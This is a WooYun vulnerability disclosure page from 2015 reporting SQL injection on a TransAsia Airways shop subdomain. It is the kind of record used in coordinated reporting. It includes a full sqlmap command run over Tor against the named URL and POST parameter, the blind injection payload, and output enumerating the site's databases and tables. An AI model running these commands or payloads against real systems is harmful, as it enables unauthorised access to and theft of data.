当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0119400
漏洞标题：
台湾复兴航空某分站SQL注入
相关厂商：
Hitcon台湾互联网漏洞报告平台
漏洞作者：
路人甲
提交时间：
2015-06-11 11:37
修复时间：
2015-07-30 10:34
公开时间：
2015-07-30 10:34
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
17
漏洞状态：
已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-06-11： 细节已通知厂商并且等待厂商处理中
2015-06-15： 厂商已经确认，细节仅向厂商公开
2015-06-25： 细节向核心白帽子及相关领域专家公开
2015-07-05： 细节向普通白帽子公开
2015-07-15： 细节向实习白帽子公开
2015-07-30： 细节向公众公开

简要描述：

台湾复兴航空某分站SQL注入

详细说明：

./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --threads 2 -u "https://legendshop.tna.com.tw/web/MZPdBrand.aspx" --data="brandcd=00013" --dbms=oracle --dbs --is-dba
---
Parameter: brandcd (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: brandcd=00013' AND 5489=5489 AND 'HPqY'='HPqY
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
current user is DBA:    False

漏洞证明：

available databases [33]:
[*] AION
[*] ANNAN
[*] APPQOSSYS
[*] BGFIS
[*] CICOS
[*] CMS
[*] DBSNMP
[*] DOMAS
[*] ETLIFT
[*] FFP
[*] FLOWS_030000
[*] FLOWS_FILES
[*] HBS
[*] MMDBA
[*] MSM
[*] MZ00
[*] OA00
[*] OC00
[*] OLAPSYS
[*] OUTLN
[*] RAS
[*] SCOTT
[*] SHOP
[*] SYS
[*] SYSTEM
[*] TMS
[*] TSMSYS
[*] VIP
[*] WAP
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB
-D MZ00 --tables
[14:45:32] [INFO] fetching tables for database: 'MZ00'
[14:45:32] [INFO] fetching number of tables for database 'MZ00'
[14:45:32] [INFO] retrieved: 464  ==>MZ00库有464个表
[14:46:23] [INFO] retrieving the length of query output
[14:46:23] [INFO] retrieved: 15
[14:51:30] [INFO] retrieved: PIERCE_MZ79_XXX
[14:51:30] [INFO] retrieving the length of query output
[14:51:30] [INFO] retrieved: 9
[14:54:57] [INFO] retrieved: MZ62_HIST
[14:54:57] [INFO] retrieving the length of query output
[14:54:57] [INFO] retrieved: 9
[14:58:20] [INFO] retrieved: MZ67_HIST
[14:58:20] [INFO] retrieving the length of query output
[14:58:20] [INFO] retrieved: 15
[15:04:07] [INFO] retrieved: MZ79BK_20130710
[15:04:07] [INFO] retrieving the length of query output
[15:04:07] [INFO] retrieved: 15
[15:05:06] [INFO] retrieved: ^C_____________  ===>不继续了

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-06-15 10:32

厂商回复：

感謝通報

最新状态：

暂无